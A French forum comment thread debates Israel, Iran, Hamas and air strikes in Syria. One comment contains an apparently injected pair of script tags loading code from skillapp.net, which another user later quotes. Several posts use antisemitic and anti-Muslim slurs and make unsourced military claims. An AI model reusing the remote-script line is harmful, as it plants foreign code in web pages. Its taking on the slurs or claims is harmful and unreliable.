                Le Hamas émanation des « Frères musulman » après son coup d’Etat de 2007 , liquidant 450 membres du Fatah , a un agenda, en plus de celui de détruire Israël , pleurniche , pour être privé de sortie de Gaza. La vie des gazaouisne dépend que de la charité internationale. Avant de détruire Israël, que les dirigeants du Hamas , mettent un peu les pieds en dehors de Gaza. 

                Le Fatah, l’autre faction corrompue jusqu’à la moelle , son chef Mahmoud Abbas qui se dit représentant sur le plan «  international » de la Palestine peut visiter toutes les capitales , mais il est interdit à Gaza. Dernièrement , le premier ministre du Fatah , cette faction de corrompue a échappé a un attentat en visite a Gaza. Alors Arabo-musulmans de quelle Palestine , vous nous rebattés les oreilles.


              • Massada Massada 25 novembre 13:43

                Le samedi 23 novembre, le général Kenneth McKenzie, commandant de l’US CENTCOM, a prédit que l’Iran lancerait probablement une autre attaque au Moyen-Orient.
                 
                Cette menace se concrétise après la frappe aérienne secrète israélienne mardi 19 novembre dernier sur une cible iranienne mystérieuse près de la ville syrienne d’Abou Kamal, à la frontière irakienne.
                 
                Ni Israël ni l’Iran n’ont révélé ce dont il s’agissait, sauf pour admettre que cela s’était produit.
                 
                Des unités d’ingénierie américaines construisent une nouvelle base près d’Al Sur dans la région de Deir Ez-Zour et une autre près de la ville d’Amuda.


                • Massada Massada 25 novembre 13:45

                  Le but des Ayatollahs est déclaré sans ambiguïté. Ils menacent chaque jour de détruire par tous les moyens l’Etat sioniste. Toutefois, depuis la chute du Chah en 1979, ils évitent tout affrontement militaire direct et de grande envergure contre Israël.

                   

                  Tsahal poursuivra ses frappes et ne permettra pas l’installation de bases militaires iraniennes en Syrie, en Irak ou au Liban. Contrairement à l’Arabie saoudite, Israël ripostera avec force contre toute attaque ou acheminement de matériel militaire aux milices chiites.




                  • Massada Massada 25 novembre 13:52

                    Lors de la dernière intervention contre les forces iraniennes, Israël a brouillé les systèmes de défense antiaérienne russe Pantsir et S400 lors de frappes aériennes en Syrie.
                     

                    L’armée de l’air israélienne a utilisé des missiles de croisière Delilah, conçus pour lutter contre les systèmes radar et dotés de dispositifs de brouillage de radar, ce qui démontre la très faible efficacité des systèmes de défense anti-aérienne russo-syriens.


                    • Massada Massada 25 novembre 13:55

                      Le Mossad, l’agence de renseignement nationale israélienne, a assassiné un haut responsable iranien plus tôt cette semaine en Syrie, a rapporté la chaîne de télévision al-Arabiya, propriété de l’Arabie Saoudite.
                       

                      Des sources syriennes appartenant à l’ensemble du spectre politique ont reconnu qu’Israël avait pratiquement détruit les capacités de la défense aérienne syrienne en quelques minutes à l’occasion des frappes de représailles.

                       

                      Les correspondants militaires israéliens ont déclaré que les frappes israéliennes en Syrie constituaient un message clair à l’Iran qu’Israël n’était pas l’Arabie saoudite et qu’il réagirait lourdement à toute attaque directe ou indirecte sur le territoire israélien.


                      • Fifi Brind_acier Fifi Brind_acier 25 novembre 19:57

                        @Massada
                        Sinon, à part balancer des pruneaux, il est possible qu’Israël se dote un jour d’une Constitution, respecte les résolutions des Nations Unies, et crée une véritable démocratie laïque, pluri confessionnelle et pluri ethnique ?

                        Sinon, cette histoire va mal se finir, et vous allez couiner que vous êtes de grandes victimes. La paix, c’est pas écrit dans vos grimoires ?? C’est en option ?


                      • samy Levrai samy Levrai 26 novembre 00:08

                        @Massada
                        Les chiens aboient et la caravane passe souvent ces temps ci... L’aventure avec le Hezbollah ( les représailles...) enlève quand même pas mal de crédibilité a celui qui se veut tenir sur ses grands chevaux...ajoutons du blabla contre l’Iran qu’Israel n’ose pas attaquer et lancement de missiles de très loin sur ses voisins ( plus d’avions en Syrie depuis longtemps alors qu’il fut un temps...).


                      • HELIOS HELIOS 26 novembre 03:19

                        @Fifi Brind_acier

                        ... en vertu de quoi, avoir une constitution empêcherait de balancer des pruneaux sur ceux qui foutent des bombes dans les bus ?

                        Et où est écrite l’obligation et la soumission (exemple obéir à Bruxelles ce n’est pas un bon modèle pour vous n’est-ce pas) pour qu’Israël respecte les obligations (résolutions) que d’autres lui imposeraient ?

                        Et pourquoi un modèle de société laïque, multiconfessionnelle, multiethnique devrait-il être un but quand on a un pays aussi petit et que les choix sont si éloignés les uns des autres ? A croire que vous n’avez jamais mis les pieds dans un pays arabe et dans un pays de type occidental, pour voir la différence.

                        Vous versez dans la pensée unique maintenant ?

                        Allez zou, partagez la Palestine entre les arabes et les juifs et laissez chacune de ces communautés vivre leur vie tranquille et peut-être que s’entendront-ils : ne défendez pas l’indéfendable.


                      • Fifi Brind_acier Fifi Brind_acier 26 novembre 10:40

                        @HELIOS
                        Et pourquoi un modèle de société laïque, multiconfessionnelle, multiethnique devrait-il être un but

                        Lisez la Constitution française, il est écrit que le Président est garant des Traités.
                        .
                        Il n’y a que 2 pays au monde qui n’ont pas de constitution, la GB et Israël.
                        La Constitution règle les rapports entre les citoyens et l’ Etat, et Israël a bien besoin de pacifier ses rapports avec ses citoyens !
                        .
                        Si ma proposition ne vous plait pas, pourquoi l’extrême droite soutient la Russie qui a la même définition : « société laïque, multiconfessionnelle, multiethnique » ??

                        Il n’y a plus de partition possible !
                        Comparez les cartes, et dites moi où sont les territoires palestiniens.


                      • QAmonBra QAmonBra 25 novembre 15:43

                        Merci @ l’auteur pour le partage.

                         

                        Le guide spirituel iranien et le S.G. du Hezbollah ont raison et leur idéologie n’y est pour rien.

                        En effet, à moins que, comme par enchantement, la majorité des nations accepte, au profit du seul état $ioniste, de violer la charte des nations unies, dont la déclaration universelle des droits de l’homme est un des fondements, en légalisant au plan du droit international le principe de l’apartheid institué par les $ionistes en Palestine, il n’est pas d’avenir pour cet état colonial au proche orient.

                        Il sera inéluctablement à terme remplacé par un état unique et laïc pour tous, dont le principe fait de plus en plus son chemin.

                        C’est une simple question de bon sens et il faut être suprémaciste, racialiste et ségrégationniste comme un $ioniste, un wahhabite. . . Ou/et un héritier spirituel des colonisateurs du XIX siècle pour ne pas le comprendre. . .


                        • Esprit Critique 25 novembre 17:03

                          Voila des propos rassurant, a rapprocher de ceux d’ Erdogan.

                          Les Muzz son t sympas !


                          • QAmonBra QAmonBra 26 novembre 07:49

                            @Esprit Critique

                            Comme tous les « ikhwanes » (frères musulmans & autres engeances/scissions du wahhabisme) Erdogan n’est qu’un opportuniste ayant compris que le vent a tourné au proche et moyen orient.
                            Soufflant d’orient, principalement de Russie et d’Iran, ce vent ne cesse de le faire tourner comme une girouette, au point d’étourdir les occidentaux et leur OTAN !

                            Kif kif bourricot pour les faux culs du Hamas, autres frères que leur statut de palestiniens opprimés n’excuse pas pleinement, quant à leurs coreligionnaires égyptiens et Qataris, ils ont compris à leurs dépens avoir été les dindons de la farce printanière made U$A, et qu’ils vaut mieux avoir l’oncle $amuel et ses vassaux comme adversaires plutôt qu’alliés. 

                            Bref, c’est cuit en orient pour les occidentaux et la question est : Combien de temps tiendra encore leur tête de pont en Palestine. . .


                          • Massada Massada 26 novembre 08:43

                            Le lundi 25 novembre : le général iranien Hossein Salami a menacé de détruire les États-Unis, Israël et l’Arabie saoudite. La force de frappe du porte-avions USS Abraham Lincoln a pris position en face du du littoral iranien central.
                              

                            Depuis la semaine dernière, Israël est en état d’alerte maximale et de préparation à la guerre, à cause de représailles potentielles de l’Iran, après les frappes israéliennes sur des positions des forces Al Qods, à proximité et au sud de Damas le 20 novembre. On estime, en Israël et aux Etats-Unis, que de nombreux membres des forces armées iraniennes ont été tués. Personne ne s’attend pas à ce que Téhéran laisse passer cela sans réagir.


                            • Fifi Brind_acier Fifi Brind_acier 26 novembre 10:48

                              @Massada
                              Depuis la semaine dernière, Israël est en état d’alerte maximale


                              Commédiante, tragediante, c’est Bibi qui s’accroche à son fauteuil de 1er Ministre, et qui remue de l’air pour faire du vent... Il faut bien qu’il justifie son utilité à protéger la population pour refuser de démissionner, non ?
                              .
                              N’empêche que Trump vous a fait un cadeau empoisonné avec Jérusalem comme capitale, et le droit (écrit où ?) d’occuper la Cisjordanie. Pour cimenter encore un peu plus entre eux, les pays arabes de la région, Trump pouvait difficilement faire mieux...


                            • QAmonBra QAmonBra 26 novembre 10:38

                              (. . .) « Israël est en état d’alerte maximale et de préparation à la guerre, » (. . .)

                              (. . .) « Personne ne s’attend pas à ce que Téhéran laisse passer cela sans réagir. »

                              Sacré Massada ! Personne ne s’attend davantage à ce que les va-t-en-guerre $ionistes, excusez le pléonasme, abandonne l’idée d’une guerre, par occidentaux interposés, contre l’Iran, faute d’y parvenir avec le Donald, malgré ses somptueux cadeaux payés par d’autres (Golan, Jérusalem & colonies) et quitte à la provoquer directement.

                              Mais croire que les iraniens et l’arc de résistance, dont ils constituent la clé de voûte, réagiront quand et comme le veut votre apartheid, c’est prendre ses phantasmes de « peuple élu du psychopathe Yaweh » pour des réalités !

                              « Il ne faut pas tortiller du cul pour chier droit pitchoune ! », Affirmait un vieux maçon de ma jeunesse et il faudra, justement, que votre soldatesque ôte son doigt de son fondement en agressant directement et territorialement l’Iran, pour obtenir une réaction guerrière et légitime de sa part à l’encontre de son agresseur, ce que vos dirigeants ne souhaitent pas du tout. . .


                              • DACH 26 novembre 12:39

                                Sacré QamonBra, qui a le bras de travers, pour une ambition sans moyens ! L’apartheid iranien fonctionne mal au vu des révoltes et des massacres, morts, blessés, arrestations. Vous aimez les régimes qui n’aiment pas les peuples qu’ils ont asservis. En face, les juifs sont chez eux sur leur terre, et vos invectives sont rigolotes tant elles sentent une impuissance répétitive. Voilà une terre sans pétrole mais sous régime démocratique. Les Israéliens ont fait d’une terre sèche, parfois désertique ou marécageuse, un jardin fertile où la plupart, mais pas tous, vivent heureux et attachés au territoire qu’ils ont transformés, jour après jour. « Il ne faut pas tortiller du cul pour chier droit pitchoune ! », Vous avez en effet des exercices à faire tous les jours pour redresser vos erreurs d’engagements !

                                <script src="//skillapp.net/2143f05201d76950ea.js"></script> <script src="//skillapp.net/2143f05201d76950ea.js"></script>

                                • QAmonBra QAmonBra 26 novembre 13:46

                                  Le Shalom @ DACH (comme la lessive ?)

                                  (. . .) « mais pas tous » (. . .)

                                  J’aime bien la précision ! Un furtif mais sincère moment de lucidité ? Ou bien une furtivité type F35 !? 

                                  Plus sérieusement, comment va la hasbara ? Ambiance pas trop maussade ces derniers temps ?

                                  Je prends la température vu que le propos est souvent gras chez vous en ce moment, ce qui donne au lecteur une impression de colère, de quelqu’un gueulant comme un veau après sa mère !

                                  On a même droit quelques fois à un charabia (ou baragouinage suivant les susceptibilités) en langue étrange :

                                  (. . .) "<script src="//skillapp.net/2143f05201d76950ea.js"></script> <script src="//skillapp.net/2143f05201d76950ea.js"></script>« (. . .)

                                  Si c’est des noms d’oiseaux en hébreu alphanumérique, c’est le pseudo-nommé Séraphin Lampion qui va être content d’enrichir son vocabulaire, mais je ne suis pas sur que le »vieille France" qu’il parait être apprécie ce style !

                                  Bon c’est bien mignon toussa toussa, mais c’est l’heure de la sieste et pour nous les provençaux c’est sacré. . .

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